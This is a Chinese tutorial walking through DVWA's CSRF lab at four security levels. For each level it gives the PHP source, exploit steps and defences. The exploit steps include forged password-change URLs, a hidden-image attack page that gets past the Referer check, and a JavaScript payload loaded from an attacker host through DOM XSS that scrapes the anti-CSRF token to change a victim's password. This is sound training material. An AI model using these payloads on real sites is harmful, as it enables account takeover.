DVWA-CSRF

Introduction

CSRF(Cross-site request forgery)跨站请求伪造:
主要利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

跨站脚本(XSS)与跨站请求伪造(CSRF)区别

XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

Low

image

服务端源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

分析

1、判断是否设置了Change变量
2、新设置的密码与确认密码是否相同
3、相同则将新密码做md5然后做update
4、可以看到并没有验证新旧密码相同,没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)

漏洞利用

1、观察请求方式

image

/dvwa/vulnerabilities/csrf/?password_new=test1&password_conf=test1&Change=Change

2、构造url更改点击点击链接受害者的密码

/dvwa/vulnerabilities/csrf/?password_new=yourpasswd&password_conf=yourpasswd&Change=Change

当受害人刚刚登入访问了该站点,session没有失效,点击了这个链接后他的密码就会变成我们构造好的密码,为了增加隐蔽性可以将url换成短url,更高级的可以制作一个攻击的页面,让受害者访问,不知不觉完成攻击(注意使用相同的浏览器)

image

Middle

服务端源代码

CSRF Source
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

分析

与之前相比,这里检查了是否同源
if( stripos( $_SERVER[ ‘HTTP_REFERER’ ] ,$_SERVER[ ‘SERVER_NAME’ ])
int eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.xx.xx),希望通过这种机制抵御CSRF攻击。

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.xx.xx)

我们可以将攻击页面命名为192.168.10.11.html(页面被放置在攻击者的服务器里,这里是192.168.10.10)就可以绕过了

<img src="http://192.168.10.11/dvwa/pvulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

抓包后在Repeater中修改HTTP数据包中的Referer参数为

http://192.168.10.10/admin/test_csrf_192.168.10.11.html

image

image

image

High

服务端源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

分析

关键代码

// Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// Generate Anti-CSRF token
generateSessionToken();

High级别的带入引入了Anti-CSRF token,
用户每次访问改密页面时,服务器会通过generateSessionToken()返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有客户端提交的token参数与服务器端一致时,服务器端才会处理客户端的响应。

漏洞利用

要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

1、试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

xss.js

alert(document.cookie);
var theUrl = 'http://192.168.10.11/dvwa/vulnerabilities/csrf/';
    if(window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    }else{
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
var count = 0;
    xmlhttp.withCredentials = true;
    xmlhttp.onreadystatechange=function(){
        if(xmlhttp.readyState ==4 && xmlhttp.status==200)
        {
            var text = xmlhttp.responseText;
            var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = text.match(regex);
            console.log(match);
            alert(match[1]);
                var token = match[1];
                    var new_url = 'http://192.168.10.11/dvwa/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
                    if(count==0){
                        count++;
                        xmlhttp.open("GET",new_url,false);
                        xmlhttp.send();
                    }


        }
    };
    xmlhttp.open("GET",theUrl,false);
    xmlhttp.send();

xss.js放置于攻击者的网站上:http://192.168.10.10/admin/xss.js

2、DOM XSS与CSRF结合:

CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:

http://192.168.10.11/dvwa/vulnerabilities/xss_d/?default=English#%3Cscript%20src=%22http://192.168.10.10/admin/xss.js%22%3E%3C/script%3E

image

image

成功修改密码为test

Impossible

image

服务端源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析

关键代码

 // Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 


/ Generate Anti-CSRF token

generateSessionToken();

利用PDO技术防御SQL注入,需要输入原密码来进行验证,在不知道原密码的情况下无法进行攻击

$pass_curr = stripslashes( $pass_curr ); 

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute(); 

CSRF漏洞的分类及检测挖掘方法主要有三种:

第一种:

请求直接是个GET请求,然后请求中没有token验证参数,然后还有一个固定的变量可以被控制。这种是比较常见的一种CSRF漏洞。

检测方法:

网页操作某功能,抓包后,如果发现满足上面条件,然后再去页面测试下,基本就可以确定存在不存在CSRF漏洞了。

第二种:

请求是个POST请求,post请求中没有token参数,然后请求也没有验证referer信息。这种是存在CSRF情况最多的一种。

检测方法:

网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。如果有token等参数,可以尝试将token去掉,然后再将referer也去掉,进行验证。这种CSRF漏洞的利用,是需要在自己服务器构造一个form表单的,然后将服务器form表单的URL作为CSRF攻击进行利用的,或者用js代码生成form表单,或者用ajax实现。

第三种:

请求是POST,post请求中没有token参数,但是验证了referer信息。然而可以将post请求改写为get请求,然后通过第一种情况下的那个方法利用。

检测方法:

就是先执行了第二种的验证后,发现有对CSRF进行防御。然后将post请求改写为GET请求,发现仍然可以成功执行。漏洞成因是因为服务器端接收请求参数的时候,没有严格的用$_POST 而是用的类似于 $_REQUEST这种post,get请求的参数都可以接收的写法。

防护措施

主要可以应用以下介绍的几种方法:

限制验证cookie的到期时间:

这些cookie的合法时间越短,黑客利用你的Web应用程序的机会就越小。不过,这个时间越短,用户就越不方便。因此,你需要在安全性和方便性之间进行平衡。

执行重要业务之前,要求用户提交额外的信息:

要求用户在进行重要业务前输入口令,这可以防止黑客发动CSRF攻击(只要浏览器中没有包含口令),因为这种重要信息无法预测或轻易获得。

使用秘密的无法预测的验证符号:

当保存在用户浏览器中的cookie仅由一次会话确认时,CSRF攻击才会有效。所以在每次HTTP请求(当然攻击者无法提前知道)中都有附加的特定会话的信息,这样就可以挫败CSRF攻击。不过,如果这种应用程序存在跨站脚本漏洞,黑客就有可能访问这种验证符号。

使用定制的HTTP报头:

如果执行交易的所有请求都使用XMLHttpRequest并附加一个定制的HTTP报头,同时拒绝缺少定制报头的任何请求,就可以用XMLHttpRequest API来防御CSRF攻击。由于浏览器通常仅准许站点将定制的HTTP报头发送给相同站点,从而了防止由CSRF攻击的源站点所发起的交易。

检查访问源的报头:

在浏览者发送HTTP请求时,它通常会包含源自访问源报头的URL。理论上讲,你可以使用这些信息来阻止源自其它任何站点(而不是来自Web应用程序自身)的请求。不过,访问源报头并不总是可用的,(例如,有些单位由于私密性的缘故而将它剥离了),或者这个报头容易被欺骗,所以说,这条措施并不真正有效。

参考

白帽子挖洞—跨站请求伪造(CSRF)篇

DVWA CSRF 通关教程